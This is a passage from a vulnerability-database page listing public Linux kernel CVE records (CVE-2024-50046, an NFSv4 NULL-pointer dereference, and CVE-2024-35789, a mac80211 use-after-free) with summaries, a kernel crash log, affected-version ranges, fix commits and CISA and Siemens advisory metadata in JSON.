          "url": "https://git.kernel.org/stable/c/7cfee26d1950250b14c5cb0a37b142f3fcc6396a"
        },
        {
          "url": "https://git.kernel.org/stable/c/97e93367e82752e475a33839a80b33bdbef1209f"
        },
        {
          "url": "https://git.kernel.org/stable/c/51b7841f3fe84606ec0bd8da859d22e05e5419ec"
        },
        {
          "url": "https://git.kernel.org/stable/c/1341e4b32e1fb1b0acd002ccd56f07bd32f2abc6"
        },
        {
          "url": "https://git.kernel.org/stable/c/04c35ab3bdae7fefbd7c7a7355f29fa03a035221"
        }
      ],
      "title": "x86/mm/pat: fix VM_PAT handling in COW mappings",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35877",
    "datePublished": "2024-05-19T08:34:34.604Z",
    "dateReserved": "2024-05-17T13:50:33.110Z",
    "dateUpdated": "2026-05-12T11:52:17.843Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50046 (GCVE-0-2024-50046)

Vulnerability from cvelistv5 – Published: 2024-10-21 19:39 – Updated: 2026-05-12 12:00

Title

NFSv4: Prevent NULL-pointer dereference in nfs42_complete_copies()

Summary

In the Linux kernel, the following vulnerability has been resolved: NFSv4: Prevent NULL-pointer dereference in nfs42_complete_copies() On the node of an NFS client, some files saved in the mountpoint of the NFS server were copied to another location of the same NFS server. Accidentally, the nfs42_complete_copies() got a NULL-pointer dereference crash with the following syslog: [232064.838881] NFSv4: state recovery failed for open file nfs/pvc-12b5200d-cd0f-46a3-b9f0-af8f4fe0ef64.qcow2, error = -116 [232064.839360] NFSv4: state recovery failed for open file nfs/pvc-12b5200d-cd0f-46a3-b9f0-af8f4fe0ef64.qcow2, error = -116 [232066.588183] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000058 [232066.588586] Mem abort info: [232066.588701] ESR = 0x0000000096000007 [232066.588862] EC = 0x25: DABT (current EL), IL = 32 bits [232066.589084] SET = 0, FnV = 0 [232066.589216] EA = 0, S1PTW = 0 [232066.589340] FSC = 0x07: level 3 translation fault [232066.589559] Data abort info: [232066.589683] ISV = 0, ISS = 0x00000007 [232066.589842] CM = 0, WnR = 0 [232066.589967] user pgtable: 64k pages, 48-bit VAs, pgdp=00002000956ff400 [232066.590231] [0000000000000058] pgd=08001100ae100003, p4d=08001100ae100003, pud=08001100ae100003, pmd=08001100b3c00003, pte=0000000000000000 [232066.590757] Internal error: Oops: 96000007 [#1] SMP [232066.590958] Modules linked in: rpcsec_gss_krb5 auth_rpcgss nfsv4 dns_resolver nfs lockd grace fscache netfs ocfs2_dlmfs ocfs2_stack_o2cb ocfs2_dlm vhost_net vhost vhost_iotlb tap tun ipt_rpfilter xt_multiport ip_set_hash_ip ip_set_hash_net xfrm_interface xfrm6_tunnel tunnel4 tunnel6 esp4 ah4 wireguard libcurve25519_generic veth xt_addrtype xt_set nf_conntrack_netlink ip_set_hash_ipportnet ip_set_hash_ipportip ip_set_bitmap_port ip_set_hash_ipport dummy ip_set ip_vs_sh ip_vs_wrr ip_vs_rr ip_vs iptable_filter sch_ingress nfnetlink_cttimeout vport_gre ip_gre ip_tunnel gre vport_geneve geneve vport_vxlan vxlan ip6_udp_tunnel udp_tunnel openvswitch nf_conncount dm_round_robin dm_service_time dm_multipath xt_nat xt_MASQUERADE nft_chain_nat nf_nat xt_mark xt_conntrack xt_comment nft_compat nft_counter nf_tables nfnetlink ocfs2 ocfs2_nodemanager ocfs2_stackglue iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi ipmi_ssif nbd overlay 8021q garp mrp bonding tls rfkill sunrpc ext4 mbcache jbd2 [232066.591052] vfat fat cas_cache cas_disk ses enclosure scsi_transport_sas sg acpi_ipmi ipmi_si ipmi_devintf ipmi_msghandler ip_tables vfio_pci vfio_pci_core vfio_virqfd vfio_iommu_type1 vfio dm_mirror dm_region_hash dm_log dm_mod nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 br_netfilter bridge stp llc fuse xfs libcrc32c ast drm_vram_helper qla2xxx drm_kms_helper syscopyarea crct10dif_ce sysfillrect ghash_ce sysimgblt sha2_ce fb_sys_fops cec sha256_arm64 sha1_ce drm_ttm_helper ttm nvme_fc igb sbsa_gwdt nvme_fabrics drm nvme_core i2c_algo_bit i40e scsi_transport_fc megaraid_sas aes_neon_bs [232066.596953] CPU: 6 PID: 4124696 Comm: 10.253.166.125- Kdump: loaded Not tainted 5.15.131-9.cl9_ocfs2.aarch64 #1 [232066.597356] Hardware name: Great Wall .\x93\x8e...RF6260 V5/GWMSSE2GL1T, BIOS T656FBE_V3.0.18 2024-01-06 [232066.597721] pstate: 20400009 (nzCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) [232066.598034] pc : nfs4_reclaim_open_state+0x220/0x800 [nfsv4] [232066.598327] lr : nfs4_reclaim_open_state+0x12c/0x800 [nfsv4] [232066.598595] sp : ffff8000f568fc70 [232066.598731] x29: ffff8000f568fc70 x28: 0000000000001000 x27: ffff21003db33000 [232066.599030] x26: ffff800005521ae0 x25: ffff0100f98fa3f0 x24: 0000000000000001 [232066.599319] x23: ffff800009920008 x22: ffff21003db33040 x21: ffff21003db33050 [232066.599628] x20: ffff410172fe9e40 x19: ffff410172fe9e00 x18: 0000000000000000 [232066.599914] x17: 0000000000000000 x16: 0000000000000004 x15: 0000000000000000 [232066.600195] x14: 0000000000000000 x13: ffff800008e685a8 x12: 00000000eac0c6e6 [232066.600498] x11: 00000000000000 ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/f892165c564e3aab2…
https://git.kernel.org/stable/c/584c019baedddec3f…
https://git.kernel.org/stable/c/632344b9efa064ca7…
https://git.kernel.org/stable/c/fca41e5fa4914d12b…
https://git.kernel.org/stable/c/ef9189bb15dcbe7ed…
https://git.kernel.org/stable/c/a848c29e3486189aa…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 0e65a32c8a569db363048e17a708b1a0913adbef , < f892165c564e3aab272948dbb556cc20e290c55a (git) Affected: 0e65a32c8a569db363048e17a708b1a0913adbef , < 584c019baedddec3fd634053e8fb2d8836108d38 (git) Affected: 0e65a32c8a569db363048e17a708b1a0913adbef , < 632344b9efa064ca737bfcdaaaced59fd5f18ae9 (git) Affected: 0e65a32c8a569db363048e17a708b1a0913adbef , < fca41e5fa4914d12b2136c25f9dad69520b52683 (git) Affected: 0e65a32c8a569db363048e17a708b1a0913adbef , < ef9189bb15dcbe7ed3f3515aaa6fc8bf7483960d (git) Affected: 0e65a32c8a569db363048e17a708b1a0913adbef , < a848c29e3486189aaabd5663bc11aea50c5bd144 (git)
Linux	Linux	Affected: 5.5 Unaffected: 0 , < 5.5 (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.57 , ≤ 6.6.* (semver) Unaffected: 6.11.4 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-50046",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:24:06.853763Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:28:43.571Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:24:52.749Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:11.233Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/nfs/client.c",
            "fs/nfs/nfs42proc.c",
            "fs/nfs/nfs4state.c",
            "include/linux/nfs_fs_sb.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f892165c564e3aab272948dbb556cc20e290c55a",
              "status": "affected",
              "version": "0e65a32c8a569db363048e17a708b1a0913adbef",
              "versionType": "git"
            },
            {
              "lessThan": "584c019baedddec3fd634053e8fb2d8836108d38",
              "status": "affected",
              "version": "0e65a32c8a569db363048e17a708b1a0913adbef",
              "versionType": "git"
            },
            {
              "lessThan": "632344b9efa064ca737bfcdaaaced59fd5f18ae9",
              "status": "affected",
              "version": "0e65a32c8a569db363048e17a708b1a0913adbef",
              "versionType": "git"
            },
            {
              "lessThan": "fca41e5fa4914d12b2136c25f9dad69520b52683",
              "status": "affected",
              "version": "0e65a32c8a569db363048e17a708b1a0913adbef",
              "versionType": "git"
            },
            {
              "lessThan": "ef9189bb15dcbe7ed3f3515aaa6fc8bf7483960d",
              "status": "affected",
              "version": "0e65a32c8a569db363048e17a708b1a0913adbef",
              "versionType": "git"
            },
            {
              "lessThan": "a848c29e3486189aaabd5663bc11aea50c5bd144",
              "status": "affected",
              "version": "0e65a32c8a569db363048e17a708b1a0913adbef",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/nfs/client.c",
            "fs/nfs/nfs42proc.c",
            "fs/nfs/nfs4state.c",
            "include/linux/nfs_fs_sb.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.5"
            },
            {
              "lessThan": "5.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.57",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.57",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.4",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSv4: Prevent NULL-pointer dereference in nfs42_complete_copies()\n\nOn the node of an NFS client, some files saved in the mountpoint of the\nNFS server were copied to another location of the same NFS server.\nAccidentally, the nfs42_complete_copies() got a NULL-pointer dereference\ncrash with the following syslog:\n\n[232064.838881] NFSv4: state recovery failed for open file nfs/pvc-12b5200d-cd0f-46a3-b9f0-af8f4fe0ef64.qcow2, error = -116\n[232064.839360] NFSv4: state recovery failed for open file nfs/pvc-12b5200d-cd0f-46a3-b9f0-af8f4fe0ef64.qcow2, error = -116\n[232066.588183] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000058\n[232066.588586] Mem abort info:\n[232066.588701]   ESR = 0x0000000096000007\n[232066.588862]   EC = 0x25: DABT (current EL), IL = 32 bits\n[232066.589084]   SET = 0, FnV = 0\n[232066.589216]   EA = 0, S1PTW = 0\n[232066.589340]   FSC = 0x07: level 3 translation fault\n[232066.589559] Data abort info:\n[232066.589683]   ISV = 0, ISS = 0x00000007\n[232066.589842]   CM = 0, WnR = 0\n[232066.589967] user pgtable: 64k pages, 48-bit VAs, pgdp=00002000956ff400\n[232066.590231] [0000000000000058] pgd=08001100ae100003, p4d=08001100ae100003, pud=08001100ae100003, pmd=08001100b3c00003, pte=0000000000000000\n[232066.590757] Internal error: Oops: 96000007 [#1] SMP\n[232066.590958] Modules linked in: rpcsec_gss_krb5 auth_rpcgss nfsv4 dns_resolver nfs lockd grace fscache netfs ocfs2_dlmfs ocfs2_stack_o2cb ocfs2_dlm vhost_net vhost vhost_iotlb tap tun ipt_rpfilter xt_multiport ip_set_hash_ip ip_set_hash_net xfrm_interface xfrm6_tunnel tunnel4 tunnel6 esp4 ah4 wireguard libcurve25519_generic veth xt_addrtype xt_set nf_conntrack_netlink ip_set_hash_ipportnet ip_set_hash_ipportip ip_set_bitmap_port ip_set_hash_ipport dummy ip_set ip_vs_sh ip_vs_wrr ip_vs_rr ip_vs iptable_filter sch_ingress nfnetlink_cttimeout vport_gre ip_gre ip_tunnel gre vport_geneve geneve vport_vxlan vxlan ip6_udp_tunnel udp_tunnel openvswitch nf_conncount dm_round_robin dm_service_time dm_multipath xt_nat xt_MASQUERADE nft_chain_nat nf_nat xt_mark xt_conntrack xt_comment nft_compat nft_counter nf_tables nfnetlink ocfs2 ocfs2_nodemanager ocfs2_stackglue iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi ipmi_ssif nbd overlay 8021q garp mrp bonding tls rfkill sunrpc ext4 mbcache jbd2\n[232066.591052]  vfat fat cas_cache cas_disk ses enclosure scsi_transport_sas sg acpi_ipmi ipmi_si ipmi_devintf ipmi_msghandler ip_tables vfio_pci vfio_pci_core vfio_virqfd vfio_iommu_type1 vfio dm_mirror dm_region_hash dm_log dm_mod nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 br_netfilter bridge stp llc fuse xfs libcrc32c ast drm_vram_helper qla2xxx drm_kms_helper syscopyarea crct10dif_ce sysfillrect ghash_ce sysimgblt sha2_ce fb_sys_fops cec sha256_arm64 sha1_ce drm_ttm_helper ttm nvme_fc igb sbsa_gwdt nvme_fabrics drm nvme_core i2c_algo_bit i40e scsi_transport_fc megaraid_sas aes_neon_bs\n[232066.596953] CPU: 6 PID: 4124696 Comm: 10.253.166.125- Kdump: loaded Not tainted 5.15.131-9.cl9_ocfs2.aarch64 #1\n[232066.597356] Hardware name: Great Wall .\\x93\\x8e...RF6260 V5/GWMSSE2GL1T, BIOS T656FBE_V3.0.18 2024-01-06\n[232066.597721] pstate: 20400009 (nzCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[232066.598034] pc : nfs4_reclaim_open_state+0x220/0x800 [nfsv4]\n[232066.598327] lr : nfs4_reclaim_open_state+0x12c/0x800 [nfsv4]\n[232066.598595] sp : ffff8000f568fc70\n[232066.598731] x29: ffff8000f568fc70 x28: 0000000000001000 x27: ffff21003db33000\n[232066.599030] x26: ffff800005521ae0 x25: ffff0100f98fa3f0 x24: 0000000000000001\n[232066.599319] x23: ffff800009920008 x22: ffff21003db33040 x21: ffff21003db33050\n[232066.599628] x20: ffff410172fe9e40 x19: ffff410172fe9e00 x18: 0000000000000000\n[232066.599914] x17: 0000000000000000 x16: 0000000000000004 x15: 0000000000000000\n[232066.600195] x14: 0000000000000000 x13: ffff800008e685a8 x12: 00000000eac0c6e6\n[232066.600498] x11: 00000000000000\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:44:26.901Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f892165c564e3aab272948dbb556cc20e290c55a"
        },
        {
          "url": "https://git.kernel.org/stable/c/584c019baedddec3fd634053e8fb2d8836108d38"
        },
        {
          "url": "https://git.kernel.org/stable/c/632344b9efa064ca737bfcdaaaced59fd5f18ae9"
        },
        {
          "url": "https://git.kernel.org/stable/c/fca41e5fa4914d12b2136c25f9dad69520b52683"
        },
        {
          "url": "https://git.kernel.org/stable/c/ef9189bb15dcbe7ed3f3515aaa6fc8bf7483960d"
        },
        {
          "url": "https://git.kernel.org/stable/c/a848c29e3486189aaabd5663bc11aea50c5bd144"
        }
      ],
      "title": "NFSv4: Prevent NULL-pointer dereference in nfs42_complete_copies()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50046",
    "datePublished": "2024-10-21T19:39:43.780Z",
    "dateReserved": "2024-10-21T12:17:06.071Z",
    "dateUpdated": "2026-05-12T12:00:11.233Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35789 (GCVE-0-2024-35789)

Vulnerability from cvelistv5 – Published: 2024-05-17 12:24 – Updated: 2026-05-12 11:51

Title

wifi: mac80211: check/clear fast rx for non-4addr sta VLAN changes

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: check/clear fast rx for non-4addr sta VLAN changes When moving a station out of a VLAN and deleting the VLAN afterwards, the fast_rx entry still holds a pointer to the VLAN's netdev, which can cause use-after-free bugs. Fix this by immediately calling ieee80211_check_fast_rx after the VLAN change.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/ea9a0cfc07a7d3601…
https://git.kernel.org/stable/c/be1dd9254fc115321…
https://git.kernel.org/stable/c/e8b067c4058c0121a…
https://git.kernel.org/stable/c/c8bddbd91bc8e42c9…
https://git.kernel.org/stable/c/7eeabcea79b67cc29…
https://git.kernel.org/stable/c/6b948b54c8bd62072…
https://git.kernel.org/stable/c/2884a50f52313a7a9…
https://git.kernel.org/stable/c/e8678551c0243f799…
https://git.kernel.org/stable/c/4f2bdb3c5e3189297…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a7f1721684628b8ae6015bca9a176046ee6f30cc , < ea9a0cfc07a7d3601cc680718d9cff0d6927a921 (git) Affected: bd7e90c82850f49c23004d54de14e46d373748a6 , < be1dd9254fc115321d6fbee042026d42afc8d931 (git) Affected: cc413b375c6d95e68a4629cb1ba9d099de78ebb9 , < e8b067c4058c0121ac8ca71559df8e2e08ff1a7e (git) Affected: dd0b45538146cb6a54d6da7663b8c3afd16ebcfd , < c8bddbd91bc8e42c961a5e2cec20ab879f21100f (git) Affected: dd0b45538146cb6a54d6da7663b8c3afd16ebcfd , < 7eeabcea79b67cc29563e6a9a5c81f9e2c664d5b (git) Affected: dd0b45538146cb6a54d6da7663b8c3afd16ebcfd , < 6b948b54c8bd620725e0c906e44b10c0b13087a7 (git) Affected: dd0b45538146cb6a54d6da7663b8c3afd16ebcfd , < 2884a50f52313a7a911de3afcad065ddbb3d78fc (git) Affected: dd0b45538146cb6a54d6da7663b8c3afd16ebcfd , < e8678551c0243f799b4859448781cbec1bd6f1cb (git) Affected: dd0b45538146cb6a54d6da7663b8c3afd16ebcfd , < 4f2bdb3c5e3189297e156b3ff84b140423d64685 (git) Affected: 22bc2a4814440c4a8979a381f46fec5d224f5c11 (git) Affected: 7cfe824f681e1aaac34ea64bb4def8a77801b672 (git)
Linux	Linux	Affected: 5.12 Unaffected: 0 , < 5.12 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35789",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-24T14:19:23.131138Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:33:29.281Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:47.402Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ea9a0cfc07a7d3601cc680718d9cff0d6927a921"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/be1dd9254fc115321d6fbee042026d42afc8d931"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e8b067c4058c0121ac8ca71559df8e2e08ff1a7e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c8bddbd91bc8e42c961a5e2cec20ab879f21100f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7eeabcea79b67cc29563e6a9a5c81f9e2c664d5b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6b948b54c8bd620725e0c906e44b10c0b13087a7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2884a50f52313a7a911de3afcad065ddbb3d78fc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e8678551c0243f799b4859448781cbec1bd6f1cb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4f2bdb3c5e3189297e156b3ff84b140423d64685"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:59.910Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/mac80211/cfg.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "ea9a0cfc07a7d3601cc680718d9cff0d6927a921",
              "status": "affected",
              "version": "a7f1721684628b8ae6015bca9a176046ee6f30cc",
              "versionType": "git"
            },
            {
              "lessThan": "be1dd9254fc115321d6fbee042026d42afc8d931",
              "status": "affected",
              "version": "bd7e90c82850f49c23004d54de14e46d373748a6",
              "versionType": "git"
            },
            {
              "lessThan": "e8b067c4058c0121ac8ca71559df8e2e08ff1a7e",
              "status": "affected",
              "version": "cc413b375c6d95e68a4629cb1ba9d099de78ebb9",
              "versionType": "git"
            },
            {
              "lessThan": "c8bddbd91bc8e42c961a5e2cec20ab879f21100f",
              "status": "affected",
              "version": "dd0b45538146cb6a54d6da7663b8c3afd16ebcfd",
              "versionType": "git"
            },
            {
              "lessThan": "7eeabcea79b67cc29563e6a9a5c81f9e2c664d5b",
              "status": "affected",
              "version": "dd0b45538146cb6a54d6da7663b8c3afd16ebcfd",
              "versionType": "git"
            },
            {
              "lessThan": "6b948b54c8bd620725e0c906e44b10c0b13087a7",
              "status": "affected",
              "version": "dd0b45538146cb6a54d6da7663b8c3afd16ebcfd",
              "versionType": "git"
            },
            {
              "lessThan": "2884a50f52313a7a911de3afcad065ddbb3d78fc",
              "status": "affected",
              "version": "dd0b45538146cb6a54d6da7663b8c3afd16ebcfd",
              "versionType": "git"
            },
            {
              "lessThan": "e8678551c0243f799b4859448781cbec1bd6f1cb",
              "status": "affected",
              "version": "dd0b45538146cb6a54d6da7663b8c3afd16ebcfd",
              "versionType": "git"
            },
            {
              "lessThan": "4f2bdb3c5e3189297e156b3ff84b140423d64685",
              "status": "affected",
              "version": "dd0b45538146cb6a54d6da7663b8c3afd16ebcfd",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "22bc2a4814440c4a8979a381f46fec5d224f5c11",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "7cfe824f681e1aaac34ea64bb4def8a77801b672",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/mac80211/cfg.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.12"
            },
            {
              "lessThan": "5.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
